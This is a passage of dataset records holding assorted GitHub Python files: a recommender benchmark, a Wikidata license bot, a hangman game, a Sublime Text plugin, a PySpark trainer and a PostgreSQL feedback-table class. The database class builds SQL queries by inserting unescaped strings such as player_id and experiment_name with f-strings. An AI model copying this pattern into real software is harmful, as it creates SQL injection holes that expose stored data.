results\n","repo_name":"hasan-sayeed/robo_descriptor","sub_path":"training/submit_robofeat.py","file_name":"submit_robofeat.py","file_ext":"py","file_size_in_byte":11795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70627165317","text":"from electrum.constants import set_testnet\nfrom electrum.bip32 import BIP32Node\nfrom electrum.bitcoin import pubkey_to_address\n\n# Set testnet\nset_testnet()\n\n# You get this from Wallet info dialog\nxpub = 'vpub5SLqN2bLY4WeYkHyoQNaC4JuFVxDVWtx7YUjuxRwWTkLocCBy3ejp3X3Uxmefk1ae4ZCpTVYkJPUG2pAgv8K9mdxfgcGDwWRzq7YTWCCmAq'\npath = 'm/0/0'\nxpub = BIP32Node.from_xkey(xpub)\n\nfor i in range(0, 20):\n path = f\"{path[:3]}/{i}\"\n node = xpub.subkey_at_public_derivation(path)\n pubk = node.eckey.get_public_key_bytes()\n addr = pubkey_to_address('p2wpkh', pubk.hex())\n print(f\"Address at path [{path}]: {addr}\")\n","repo_name":"brianddk/reddit","sub_path":"python/elec-get-addr.py","file_name":"elec-get-addr.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"10981022787","text":"'''This module runs a 5-Fold CV for all the algorithms (default parameters) on\nthe movielens datasets, and reports average RMSE, MAE, and total computation\ntime. It is used for making tables in the README.md file'''\n\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\nimport time\nimport datetime\nimport random\nimport timeit\n\nimport numpy as np\nimport six\nfrom tabulate import tabulate\n\nimport sys\nimport os\nimport importlib\nmodule = ('baseline.py')\n\nfrom surprise import Dataset, dataset, AlgoBase\nfrom surprise.model_selection import cross_validate\nfrom surprise.model_selection import KFold\nfrom surprise import NormalPredictor\nfrom surprise import BaselineOnly\nfrom surprise import KNNBasic\nfrom surprise import KNNWithMeans\nfrom surprise import KNNBaseline\nfrom surprise import SVD\nfrom surprise import SVDpp\nfrom surprise import NMF\nfrom surprise import SlopeOne\nfrom surprise import CoClustering\n\n\nfrom baselines import GlobalMean, MeanofMeans\n# from pyspark.ml.recommendation import ALS\n# from baselines import all\n\nbaseline1 = {'method': 'sgd'}\nBaselineSGD = BaselineOnly(bsl_options=baseline1)\n\nbaseline2 = {'method': 'als'}\nALS = BaselineOnly()\n\n# The algorithms to cross-validate\nclasses = (GlobalMean, MeanofMeans, BaselineOnly, SVD, NMF, SlopeOne, KNNBasic, KNNWithMeans, KNNBaseline,\n CoClustering, NormalPredictor)\n\nshort_class = (MeanofMeans, BaselineOnly)\n# took out SVDpp for time\n\n# ugly dict to map algo names and datasets to their markdown links in the table\nstable = 'http://surprise.readthedocs.io/en/stable/'\nLINK = {'SVD': '[{}]({})'.format('SVD',\n stable +\n 'matrix_factorization.html#surprise.prediction_algorithms.matrix_factorization.SVD'),\n # 'SVDpp': '[{}]({})'.format('SVD++',\n # stable +\n # 'matrix_factorization.html#surprise.prediction_algorithms.matrix_factorization.SVDpp'),\n 'NMF': '[{}]({})'.format('NMF',\n stable +\n 'matrix_factorization.html#surprise.prediction_algorithms.matrix_factorization.NMF'),\n 'SlopeOne': '[{}]({})'.format('Slope One',\n stable +\n 'slope_one.html#surprise.prediction_algorithms.slope_one.SlopeOne'),\n 'KNNBasic': '[{}]({})'.format('k-NN',\n stable +\n 'knn_inspired.html#surprise.prediction_algorithms.knns.KNNBasic'),\n 'KNNWithMeans': '[{}]({})'.format('Centered k-NN',\n stable +\n 'knn_inspired.html#surprise.prediction_algorithms.knns.KNNWithMeans'),\n 'KNNBaseline': '[{}]({})'.format('k-NN Baseline',\n stable +\n 'knn_inspired.html#surprise.prediction_algorithms.knns.KNNBaseline'),\n 'CoClustering': '[{}]({})'.format('Co-Clustering',\n stable +\n 'co_clustering.html#surprise.prediction_algorithms.co_clustering.CoClustering'),\n 'BaselineOnly': '[{}]({})'.format('Baseline',\n stable +\n 'basic_algorithms.html#surprise.prediction_algorithms.baseline_only.BaselineOnly'),\n 'NormalPredictor': '[{}]({})'.format('Random',\n stable +\n 'basic_algorithms.html#surprise.prediction_algorithms.random_pred.NormalPredictor'),\n 'ml-100k': '[{}]({})'.format('Movielens 100k',\n 'http://grouplens.org/datasets/movielens/100k'),\n 'ml-1m': '[{}]({})'.format('Movielens 1M',\n 'http://grouplens.org/datasets/movielens/1m'),\n 'ml-latest': '[{}]({})'.format('Movielens 1M',\n 'https://grouplens.org/datasets/movielens/latest/')\n }\n\n\n# set RNG\nnp.random.seed(0)\nrandom.seed(0)\n\ndataset = 'ml-latest'\ndata = Dataset.load_builtin(dataset)\nkf = KFold(random_state=0) # folds will be the same for all algorithms.\nstart_timer = timeit.default_timer()\ntable = []\nfor klass in short_class:\n print(f'{klass}')\n start = time.time()\n if klass == GlobalMean:\n data = Dataset.load_builtin('ml-100k')\n print(\"\\nGlobal Mean...\")\n algo = GlobalMean()\n cross_validate(algo, data, verbose=True)\n elif klass == MeanofMeans:\n print(\"\\nMeanOfMeans...\")\n algo = MeanofMeans()\n cross_validate(algo, data, verbose=True)\n else:\n out = cross_validate(klass(), data, ['rmse', 'mae'], kf)\n cv_time = str(datetime.timedelta(seconds=int(time.time() - start)))\n link = LINK[klass.__name__]\n mean_rmse = '{:.3f}'.format(np.mean(out['test_rmse']))\n mean_mae = '{:.3f}'.format(np.mean(out['test_mae']))\n\n new_line = [mean_rmse, mean_mae, cv_time]\n print(tabulate([new_line], tablefmt=\"pipe\")) # print current algo perf\n table.append(new_line)\n\n header = [LINK[dataset],\n 'RMSE',\n 'MAE',\n 'Time'\n ]\nprint(tabulate(table, tablefmt=\"pipe\"))\nstop_timer = timeit.default_timer()\nprint(f\"Time to complete ALS: {stop_timer-start_timer:.2f} seconds\")","repo_name":"tpmiller85/recommender-case-study","sub_path":"src/surprise_class_alex.py","file_name":"surprise_class_alex.py","file_ext":"py","file_size_in_byte":5555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26902019200","text":"from typing import List\nimport psycopg2\n\n\nclass PlayerFeedbackTable:\n \"\"\"\n The player feedback table\n \"\"\"\n\n def __init__(self, db):\n \"\"\"\n Takes a db connection.\n \"\"\"\n self.table_name = \"player_feedback\"\n self.db = db\n\n\n def ExecuteQuery(self, query):\n c = self.db.cursor()\n c.execute(query)\n self.db.commit()\n\n def CreateTable(self):\n query = f\"CREATE TABLE IF NOT EXISTS {self.table_name} (\"\n query += \"id SERIAL PRIMARY KEY,\"\n query += \"timestamp FLOAT,\"\n query += \"player_id VARCHAR(100),\"\n query += \"experiment_name VARCHAR(100),\"\n query += \"model_name VARCHAR(100),\"\n query += \"latent_vectors FLOAT[][],\"\n query += \"level_representation FLOAT[][][],\"\n query += \"marked_unplayable BOOL,\"\n query += \"ended_early BOOL,\"\n query += \"enjoyment FLOAT,\"\n query += \"rated_novelty FLOAT,\"\n query += \"desired_novelty FLOAT\"\n query += \")\"\n try:\n self.ExecuteQuery(query)\n except psycopg2.errors.UniqueViolation:\n print(\"Table already exists?\")\n pass\n\n\n def ParseLatentVectorsArray(self, latent_vecotrs):\n return \"{\" + \",\".join([\"{\" + \",\".join([ str(value) for value in latent_vector ]) + \"}\" for latent_vector in latent_vecotrs]) + \"}\"\n\n\n def ParseLevelRepresentationArray(self, level_representation):\n return \"{\" + \",\".join([ \"{\" + \",\".join([\"{\" + \",\".join([ str(value) for value in row ]) + \"}\" for row in level_slice ]) + \"}\" for level_slice in level_representation]) + \"}\"\n\n\n def FormQueryString(self,\n timestamp: float,\n player_id: str,\n experiment_name: str,\n model_name: str,\n latent_vectors: List[List[List[float]]],\n level_representation: List[List[List[List[float]]]],\n marked_unplayable: bool,\n ended_early: bool,\n enjoyment: float,\n rated_novelty: float,\n desired_novelty: float):\n\n query = f\"INSERT INTO {self.table_name} (timestamp, player_id, experiment_name, model_name, latent_vectors, level_representation, marked_unplayable, ended_early, enjoyment, rated_novelty, desired_novelty) VALUES \"\n query += f\" ({timestamp}, '{player_id}', '{experiment_name}', '{model_name}', '{self.ParseLatentVectorsArray(latent_vectors)}', '{self.ParseLevelRepresentationArray(level_representation)}', '{marked_unplayable}', '{ended_early}', '{enjoyment}', '{rated_novelty}', '{desired_novelty}');\"\n return query\n \n\n def SaveFeedback(\n self,\n timestamp: float,\n player_id: str,\n experiment_name: str,\n model_name: str,\n latent_vectors: List[List[List[float]]],\n level_representation: List[List[List[List[float]]]],\n marked_unplayable: bool,\n ended_early: bool,\n enjoyment: float,\n rated_novelty: float,\n desired_novelty: float\n ):\n query = self.FormQueryString(\n timestamp,\n player_id,\n experiment_name,\n model_name,\n latent_vectors,\n level_representation,\n marked_unplayable,\n ended_early,\n enjoyment,\n rated_novelty,\n desired_novelty)\n \n self.ExecuteQuery(query)\n\n\n def GetAllItemsForExperiment(self, experiment_name: str):\n \"\"\"\n Returns all feedback items for a given experiment name.\n \"\"\"\n query = (\n f\"SELECT * FROM {self.table_name} WHERE experiment_name='{experiment_name}'\"\n )\n c = self.db.cursor()\n c.execute(query)\n queries = c.fetchall()\n return queries\n \n\n \n def FeedbackItemResponseToJson(self, feedback_items):\n feedback_item_json = {\"feedbackItems\":[]}\n\n for item in feedback_items:\n item_json = {}\n\n item_json[\"id\"] = item[0]\n item_json[\"timestamp\"] = item[1]\n item_json[\"player_id\"] = item[2]\n item_json[\"experiment_name\"] = item[3]\n item_json[\"model_name\"] = item[4]\n item_json[\"latent_vectors\"] = item[5]\n item_json[\"level_representation\"] = item[6]\n item_json[\"marked_unplayable\"] = item[7]\n item_json[\"ended_early\"] = item[8]\n item_json[\"enjoyment\"] = item[9]\n item_json[\"rated_novelty\"] = item[10]\n item_json[\"desired_novelty\"] = item[11]\n\n feedback_item_json[\"feedbackItems\"].append(item_json)\n \n return feedback_item_json\n\n\n def GetAllItems(self):\n \"\"\"\n Returns all feedback items.\n \"\"\"\n query = (\n f\"SELECT * FROM {self.table_name};\"\n )\n c = self.db.cursor()\n c.execute(query)\n queries = c.fetchall()\n return self.FeedbackItemResponseToJson(queries)\n","repo_name":"gameaischool2021members/vaerio-bros","sub_path":"LevelEvaluatorAndProvider/db_interface.py","file_name":"db_interface.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"74359533318","text":"import os \nimport sys\nimport argparse\n\nfrom pollution_model import PollutionModel\n\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SQLContext, SparkSession\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description='Training pollution model.')\n parser.add_argument('-p', '--pollution', dest='pollution', default='all', choices=['PM10', 'PM2.5', 'all'], help='which models to train (\"PM10\", \"PM2.5\", \"all\")')\n parser.add_argument('-d', '--save_dir', dest='save_dir', default='./models/', help='Path where to save model')\n args = parser.parse_args()\n return args.pollution, args.save_dir\n\n\ndef train_model(spark_session, pollution, save_dir):\n if pollution == 'all':\n train_pm10(spark_session, save_dir)\n train_pm25(spark_session, save_dir)\n elif pollution == 'PM2.5':\n train_pm25(spark_session, save_dir)\n elif pollution == 'PM10':\n train_pm10(spark_session, save_dir)\n else:\n raise RuntimeError('Unknown pollution type: {}'.format(pollution))\n\n\ndef train_pm10(spark_session, save_dir):\n features = ['temp_max', 'temp_min', 'pressure', 'humidity', 'wind_speed', 'current_value']\n train_kwargs = {'maxIter':100, 'regParam':0.3, 'elasticNetParam':0.8}\n pm10_model = PollutionModel(spark_session, 'PM10', features=features)\n pm10_model.fit_sql('/big-data-projekt/spark/sqls/train.sql', validate=False, **train_kwargs)\n pm10_model.save(os.path.join(save_dir, 'pm10'))\n\n\ndef train_pm25(spark_session, save_dir):\n features = ['temp_max', 'temp_min', 'pressure', 'humidity', 'wind_speed', 'current_value']\n train_kwargs = {}\n pm25_model = PollutionModel(spark_session, 'PM2.5', features=features)\n pm25_model.fit_sql('/big-data-projekt/spark/sqls/train.sql', validate=False, **train_kwargs)\n pm25_model.save(os.path.join(save_dir, 'pm25'))\n\n\nif __name__ == '__main__':\n pollution, save_dir = get_args()\n SparkContext.setSystemProperty(\"hive.metastore.uris\", \"0.0.0.0:9083\")\n spark_session = (SparkSession\n .builder\n .appName('example-pyspark-read-and-write-from-hive')\n .enableHiveSupport()\n .getOrCreate())\n train_model(spark_session, pollution, save_dir)\n","repo_name":"bpaszko/big-data-projekt","sub_path":"spark/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4055370217","text":"p = int(input())\nfor _ in range(p):\n ans = 0\n li = list(map(int, input().split()))[1:]\n for i in range(1, 11):\n for j in range(i, 11):\n flag = True\n for k in range(i, j + 1):\n if li[k] <= li[i-1] or li[k] <= li[j + 1]:\n flag = False\n break\n if flag:\n ans += 1 \n\n print(_ + 1, ans)","repo_name":"isfahanUacm/UICPC","sub_path":"2022/UICPC DIV1/Contests/UICPC Round #08 (Div 1)/solutions/Problem D - Islands in the Data Stream/islands.py","file_name":"islands.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"62"} +{"seq_id":"41260251974","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n s = input()\n\n if s == \"{}\":\n print('dict')\n exit()\n\n count = 0\n ans = 'set'\n\n # See:\n # https://tenka1.klab.jp/2015/explain/qualb_b.html\n # なぜ、\":\"が含まれているかどうかだけで判定してはいけないのかがわかっていない\n for si in s:\n if si == \"{\":\n count += 1\n elif si == \"}\":\n count -= 1\n elif count == 1 and si == ':':\n ans = 'dict'\n break\n\n print(ans)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"Others/tenka1/tenka1-2015-qualb/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"ja","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"381882008","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 2 16:06:35 2023\n\n@author: scognamigliofrancescopio@gmail.com\n\"\"\"\n\nclass NodeSBT:\n def __init__(self, key, left = None, right = None):\n self.key = key\n self.left = left\n self.right = right\n\ndef getMax(node):\n if node == None: return None\n if node.right == None: return node.key\n return getMax(node.right)\n\ndef getMaxIterative(node):\n if node == None: return None\n while node.right != None: node = node.right\n return node.key\n\ndef getMaxViaArray(A, i = 0):\n if i >= len(A): return None\n if 2*i+2 >= len(A) or A[2*i+2] == None: return A[i]\n return getMaxViaArray(A, 2*i+2)\n\ndef getMaxViaArrayIterative(A):\n if len(A) == 0: return None\n i = 0\n while 2*i+2 < len(A) and A[2*i+2] != None: i = 2*i+2\n return A[i]\n\n\nroot = NodeSBT(15)\nroot.left = NodeSBT(10)\nroot.left.left = NodeSBT(5)\nroot.left.right = NodeSBT(12)\nroot.right = NodeSBT(20)\nroot.right.left = NodeSBT(16)\nroot.right.right = NodeSBT(25)\nroot.right.right.left = NodeSBT(22)\nassert getMax(root) == 25\nassert getMaxIterative(root) == 25\nprint(getMax(root))\n\nA = [15, 10, 20, 5, 12, 16, 25, None, None, None, None, None, None, 22]\nassert getMaxViaArray(A) == 25\nassert getMaxViaArrayIterative(A) == 25\nprint(getMaxViaArray(A))\n","repo_name":"francescopioscognamiglio/pythonExercises","sub_path":"exercises/getMaximumOfSearchBinaryTreeImplementedViaPointersAndArray.py","file_name":"getMaximumOfSearchBinaryTreeImplementedViaPointersAndArray.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34657114182","text":"\"\"\"\nHANGMAN GAME\n\nAbout\nGames can help you kill time when you’re bored. But before smartphones, people played games the classic way – with paper and pencil. \nLet’s recreate one such game and improve your programming skills in the process. \nIn this project, you will code Hangman, a game where the player has to guess a word, letter by letter, in a limited number of attempts. \nMake a program that plays Hangman with you – and good luck with the guessing!\n\nLearning outcomes\nBest project for Python Basics: uses functions, loops, lists, and other variables. \nThe Random module is a cherry on top. \nDon’t be intimidated by the number of stages – they ensure that your immersion in Python is smooth and safe.\n\nStage 1\nWelcome the user: print “The game will be available soon”.\n\nStage 2\nFor starters, let’s give the player only one chance to guess the word. \nLearn and use “Input” and “if” to implement this stage.\n\nStage 3\nLet’s make the game more challenging: now it will randomly choose one of four words from a list.\n\nStage 4\nEnable hints in your game: let it show the total length of the word or its first three letters. \nSlicing will help you implement this part.\n\nStage 5\nUse a loop to extend the number of attempts to eight. Now we’re talking!\n\nStage 6\nThe outcome of the game may be fatal, which makes the game all the more exciting. \nImplement this feature so that players don’t lose strikes when they guess a letter right. \nThe While loop will help.\n\nStage 7\nImprove the game by handling different error cases. \nRepeating a letter, entering too many characters, or using non-Latin characters shouldn’t cost your player a strike.\n\nStage 8\nWhile a dinner starts with the menu, our project ends with one. \nCreate a menu for your game so that players can replay it or exit.\n\n\"\"\"\n\nimport random\n\ntries = 8\nlst = ('python', 'java', 'kotlin', 'javascript')\nword = random.choice(lst)\ndashes = str('-' * (len(word)))\nnew_dashes = dashes\nguesses = []\nwinner = 0\nwhile True:\n \n user = input('Type \"play\" to play the game, \"exit\" to quit:')\n \n if user == \"play\":\n \n print(\"H A N G M A N\")\n while(tries > 0):\n print()\n print(new_dashes)\n in_letter = input(\"Input a letter:\")\n \n if (len(in_letter) > 1) or (in_letter == None):\n print(\"You should input a single letter\")\n tries += 1\n elif in_letter in guesses:\n print(\"You already typed this letter\")\n tries += 1\n elif in_letter.islower() == False:\n print(\"It is not an ASCII lowercase letter\")\n tries += 1\n elif in_letter in word:\n letter_index = word.find(in_letter)\n new_dashes = new_dashes[:letter_index] + in_letter + new_dashes[letter_index + 1:]\n winner += 1\n tries += 1\n elif in_letter not in word:\n print(\"No such letter in the word\")\n guesses.append(in_letter)\n tries -= 1\n\n if winner == len(word):\n print(\"You guessed the word!\")\n print(\"You survived!\")\n else:\n print(\"You are hanged!\")\n\n elif user == \"exit\":\n break\n \n \n","repo_name":"dzedon/jetbrains_projects","sub_path":"Easy/easy_hangman.py","file_name":"easy_hangman.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"4162464663","text":"import argparse\nimport logging\nimport re\n\nimport pywikibot\nfrom pywikibot import pagegenerators as pg\n\nfrom FLOSSbot import plugin\n\nlog = logging.getLogger(__name__)\n\n\nclass License(plugin.Plugin):\n\n def __init__(self, *args):\n super(License, self).__init__(*args)\n self.license2item = None\n self.licenses = None\n\n @staticmethod\n def get_parser():\n parser = argparse.ArgumentParser(add_help=False)\n parser.add_argument(\n '--license',\n action='append',\n default=[],\n help='only consider this license (can be repeated)')\n return parser\n\n @staticmethod\n def filter_names():\n return ['license-verify', 'no-license']\n\n def get_query(self, filter):\n format_args = {\n 'license': self.P_license,\n 'subclass_of': self.P_subclass_of,\n 'instance_of': self.P_instance_of,\n 'open_source': self.Q_open_source_license.getID(),\n 'free_software': self.Q_free_software_license.getID(),\n 'retrieved': self.P_retrieved,\n 'delay': self.args.verification_delay,\n }\n if filter == 'license-verify':\n query = \"\"\"\n SELECT DISTINCT ?item WHERE {{\n {{\n ?item p:{license} ?license .\n ?license ps:{license}/wdt:{instance_of}?/wdt:{subclass_of}*\n wd:{open_source}.\n }} Union {{\n ?item p:{license} ?license .\n ?license ps:{license}/wdt:{instance_of}?/wdt:{subclass_of}*\n wd:{free_software}.\n }}\n OPTIONAL {{\n ?license prov:wasDerivedFrom/\n \n ?retrieved\n }}\n FILTER (!BOUND(?retrieved) ||\n ?retrieved < (now() - \"P{delay}D\"^^xsd:duration))\n }} ORDER BY ?item\n \"\"\".format(**format_args)\n elif filter == 'no-license':\n format_args.update({\n 'foss': self.Q_free_and_open_source_software.getID(),\n 'free_software': self.Q_free_software.getID(),\n 'open_source_software': self.Q_open_source_software.getID(),\n 'public_domain': self.Q_public_domain.getID(),\n 'software': self.Q_software.getID(),\n })\n query = \"\"\"\n SELECT DISTINCT ?item WHERE {{\n {{\n ?item p:{instance_of}/ps:{instance_of}/wdt:{subclass_of}*\n wd:{foss}.\n }} Union {{\n ?item p:{instance_of}/ps:{instance_of}/wdt:{subclass_of}*\n wd:{free_software}.\n }} Union {{\n ?item p:{instance_of}/ps:{instance_of}/wdt:{subclass_of}*\n wd:{open_source_software}.\n }} Union {{\n ?item p:{instance_of}/ps:{instance_of}/wdt:{subclass_of}*\n wd:{public_domain}.\n ?item p:{instance_of}/ps:{instance_of}/wdt:{subclass_of}*\n wd:{software}.\n }}\n FILTER NOT EXISTS {{ ?item p:{license} ?license }}\n }} ORDER BY ?item\n \"\"\".format(**format_args)\n else:\n query = None\n return query\n\n def run(self, item):\n self.fixup(item)\n self.verify(item)\n\n def verify(self, item):\n item.get()\n self.debug(item, \" verifying\")\n\n def set_en_licenses(self):\n self.licenses = {\n 'en': {\n 'names': dict([\n (l, l) for (l, i) in self.license2item.items()\n ]),\n },\n }\n\n def get_names(self, lang):\n if self.license2item is None:\n self.set_license2item()\n self.set_en_licenses()\n self.set_redirects('en')\n if lang not in self.licenses:\n self.set_names(lang)\n self.set_redirects(lang)\n licenses = self.licenses[lang]\n return (list(licenses['names'].keys()) +\n list(licenses['redirects'].keys()))\n\n def set_redirects(self, lang):\n redirects = {}\n for name in self.licenses[lang]['names'].keys():\n redirects[name] = name\n for redirect in self.get_redirects(name, lang):\n redirects[redirect] = name\n self.licenses[lang]['redirects'] = redirects\n\n def set_names(self, lang):\n lang2en = {}\n self.licenses[lang] = {'names': lang2en}\n for english in self.licenses['en']['names'].keys():\n title = self.translate_title(english, lang)\n if title is not None:\n log.debug(\"set_names \" + lang + \" \" + english + \" => \" + title)\n lang2en[title] = english\n\n def get_item(self, license, lang):\n licenses = self.licenses[lang]\n canonical = licenses['redirects'][license]\n english = licenses['names'][canonical]\n return self.license2item[english]\n\n def set_dbname2item(self):\n query = \"\"\"\n SELECT DISTINCT ?item WHERE {{\n ?item wdt:{dbname} ?dbname.\n }}\n \"\"\".format(dbname=self.P_Wikimedia_database_name)\n log.debug(\"set_dbname2item \" + query)\n self.license2item = {}\n enwiki = pywikibot.site.APISite.fromDBName('enwiki')\n for item in pg.WikidataSPARQLPageGenerator(query,\n site=self.bot.site,\n result_type=list):\n item.get()\n log.debug(\"set_dbname2item \" + item.title() +\n \" \" + str(item.labels.get('en')))\n if 'enwiki' not in item.sitelinks:\n log.debug('ignore ' + item.title() +\n \" because it does not link to enwiki\")\n continue\n p = pywikibot.Page(enwiki, item.sitelinks['enwiki'])\n self.license2item[p.title()] = item\n\n def set_license2item(self):\n format_args = {\n 'subclass_of': self.P_subclass_of,\n 'instance_of': self.P_instance_of,\n 'open_source': self.Q_open_source_license.getID(),\n 'free_software': self.Q_free_software_license.getID(),\n 'licenses': '',\n }\n if self.args.license:\n licenses = []\n for license in self.args.license:\n licenses.append(\"STR(?label) = '\" + license + \"'\")\n licenses = ('?item rdfs:label ?label FILTER((' +\n \") || (\".join(licenses) + \"))\")\n format_args['licenses'] = licenses\n query = \"\"\"\n SELECT DISTINCT ?item WHERE {{\n {{\n ?item wdt:{instance_of}?/wdt:{subclass_of}* wd:{open_source}.\n }} Union {{\n ?item wdt:{instance_of}?/wdt:{subclass_of}* wd:{free_software}.\n }}\n {licenses}\n }}\n \"\"\".format(**format_args)\n log.debug(\"set_license2item \" + query)\n self.license2item = {}\n enwiki = pywikibot.site.APISite.fromDBName('enwiki')\n for item in pg.WikidataSPARQLPageGenerator(query,\n site=self.bot.site,\n result_type=list):\n item.get()\n log.debug(\"set_license2item \" + item.title() +\n \" \" + str(item.labels.get('en')))\n if 'enwiki' not in item.sitelinks:\n log.debug('set_license2item ignore ' + item.title() +\n \" because it does not link to enwiki\")\n continue\n p = pywikibot.Page(enwiki, item.sitelinks['enwiki'])\n self.license2item[p.title()] = item\n\n def template_parse_license(self, license, lang):\n free_software_licenses = self.get_names(lang)\n results = set()\n for name in (re.findall('\\[\\[([^|\\]]+?)\\]\\]', license) +\n re.findall('\\[\\[([^|\\]]+?)\\|[^\\]]*\\]\\]', license)):\n name = re.sub('#.*', '', name)\n log.debug(\"template_parse_license: \" + name)\n if name in free_software_licenses:\n results.add(self.get_item(name, lang))\n return list(results)\n\n def fixup(self, item):\n item.get()\n\n if self.P_license in item.claims:\n return ['exists']\n\n lang2field = {\n 'ca': 'Llicència',\n 'en': 'License',\n 'ja': 'license',\n 'ml': 'license',\n 'ru': 'license',\n 'zh': 'license',\n }\n lang2template = {\n 'ca': 'Caixa Programari',\n 'es': 'Ficha de software',\n 'en': 'Infobox',\n 'it': 'Software',\n 'pt': 'Info/Software',\n 'ru': 'Карточка программы',\n '*': 'Infobox',\n }\n lang2value = {}\n for (lang, license) in self.get_template_field(\n item, lang2field, lang2template).items():\n lang2value[lang] = self.template_parse_license(license, lang)\n if len(lang2value) == 0:\n return ['nothing']\n self.debug(item, \"fixup \" + str(lang2value))\n values = list(lang2value.values())\n # if one wikipedia disagrees with the others, do nothing\n if values.count(values[0]) != len(values):\n self.error(item,\n \"inconsistent license information between wikipedia\" +\n str(lang2value))\n return ['inconsistent']\n status = []\n for license in lang2value[list(lang2value.keys())[0]]:\n license.get()\n langs = list(lang2value.keys())\n self.info(item, \"ADD license \" + license.labels['en'] +\n \" from \" + str(langs))\n status.append(license.labels['en'])\n claim = pywikibot.Claim(self.bot.site, self.P_license, 0)\n claim.setTarget(license)\n if not self.args.dry_run:\n item.addClaim(claim)\n for lang in langs:\n imported = pywikibot.Claim(self.bot.site,\n self.P_imported_from,\n isReference=True)\n imported.setTarget(self.get_sitelink_item(lang + \"wiki\"))\n if not self.args.dry_run:\n claim.addSource(imported)\n self.set_retrieved(item, claim)\n return status\n","repo_name":"wikimedia/pywikibot-bots-FLOSSbot","sub_path":"FLOSSbot/license.py","file_name":"license.py","file_ext":"py","file_size_in_byte":10595,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"23028623572","text":"from collections import OrderedDict, UserDict\n\nimport sublime\nimport sublime_plugin\n\n\n# max count of history items to keep\nHISTORY_MAX_SIZE = 1000\n\nHISTORY_FILE = 'SyntaxHistory.sublime-settings'\n\n\ndef syntax_exists(package_based_path):\n \"\"\"Check if syntax file exists.\n\n :type package_based_path: str\n :param package_based_path: syntax file specified in Sublime Text's\n packages format.\n\n .. note::\n Sublime Text specifies syntax file path in format::\n\n Packages/Python/Python.sublime-syntax\n Packages/User/Python-custom.sublime-syntax\n\n \"\"\"\n\n try:\n sublime.load_binary_resource(package_based_path)\n return True\n except OSError:\n return False\n\n\nclass History(UserDict):\n \"\"\"Access syntax history as a dict, persist it to .sublime-settings\n file.\n \"\"\"\n\n def __init__(self, history_filename, max_items=1000):\n self.filename = history_filename\n self.max_items = max_items\n self.load()\n\n def __delitem__(self, key):\n super().__delitem__(key)\n self.save()\n\n def __getitem__(self, key):\n self.data.move_to_end(key) # LRU logic\n self.save()\n return super().__getitem__(key)\n\n def __setitem__(self, key, value):\n super().__setitem__(key, value)\n self.save()\n\n def apply_size_limit(self):\n while len(self.data) > self.max_items:\n self.data.popitem(last=False)\n\n def load(self):\n self.settings = sublime.load_settings(self.filename)\n data = self.settings.get('history', [])\n\n if isinstance(data, dict): # support loading old config\n data = list(data.items())\n\n self.data = OrderedDict(data)\n\n def save(self):\n self.apply_size_limit()\n\n self.settings.set('history', list(self.data.items()))\n sublime.save_settings(self.filename)\n\n\nclass SyntaxHistoryEventListener(sublime_plugin.EventListener):\n\n def on_post_text_command(self, view, command_name, args):\n if command_name == 'set_file_type':\n syntax = args.get('syntax')\n if syntax:\n filename = view.file_name()\n if filename is not None:\n history = History(HISTORY_FILE, max_items=HISTORY_MAX_SIZE)\n history[filename] = syntax\n\n def on_load_async(self, view):\n filename = view.file_name()\n history = History(HISTORY_FILE, max_items=HISTORY_MAX_SIZE)\n\n if filename in history:\n syntax = history[filename]\n\n if syntax_exists(syntax):\n view.set_syntax_file(syntax)\n else:\n del history[filename]\n","repo_name":"malexer/SyntaxHistory","sub_path":"syntax_history.py","file_name":"syntax_history.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"911868584","text":"#list_of_elements = [1,2,3,4,5,90]\n\n# for el in list_of_elements:\n# el = el * 2\n# print(el)\n# print(list_of_elements)\n\n# for number in range(0, len(list_of_elements)):\n# list_of_elements[number] = list_of_elements[number] * 2\n# print('Номер в массиве {} отслеживаем измениения в массиве {}'.format(number, list_of_elements))\n\n\n#for number, value in enumerate(list_of_elements):\n #enumerate генерирует на каждой инерации цикла\n #пару чисел: number - это порядковый номер элемена в массиве\n #value - это значение элемента в массиве\n #И index и value будут другими на кажой последующей итерации, то есть изменяться каждый прогон\n# list_of_elements[number] = value * 2 #Берет номер эдемена в массиве и умножает значение которое стоит под этим номером в массиве на два\n# print('Номер в массиве {} отслеживаем измениения в массиве {}'.format(number, list_of_elements))\n\n\n# task6_list = [35,45,190,30,90,-170, 160]\n#\n# def maximum(task6_list):\n# mulka = -10000\n# for element_1 in task6_list:\n# if element_1 > mulka:\n# mulka = element_1\n# return mulka\n#\n# print(maximum(task6_list))\n#\n# def minimum(task6_list):\n# mulka2 = 10000000000\n# for element in task6_list:\n# if element < mulka2:\n# mulka2 = element\n# return mulka2\n# print(minimum(task6_list))\n#\n# def srendee(task6_list):\n# mulka0 = 0\n# for element_2 in 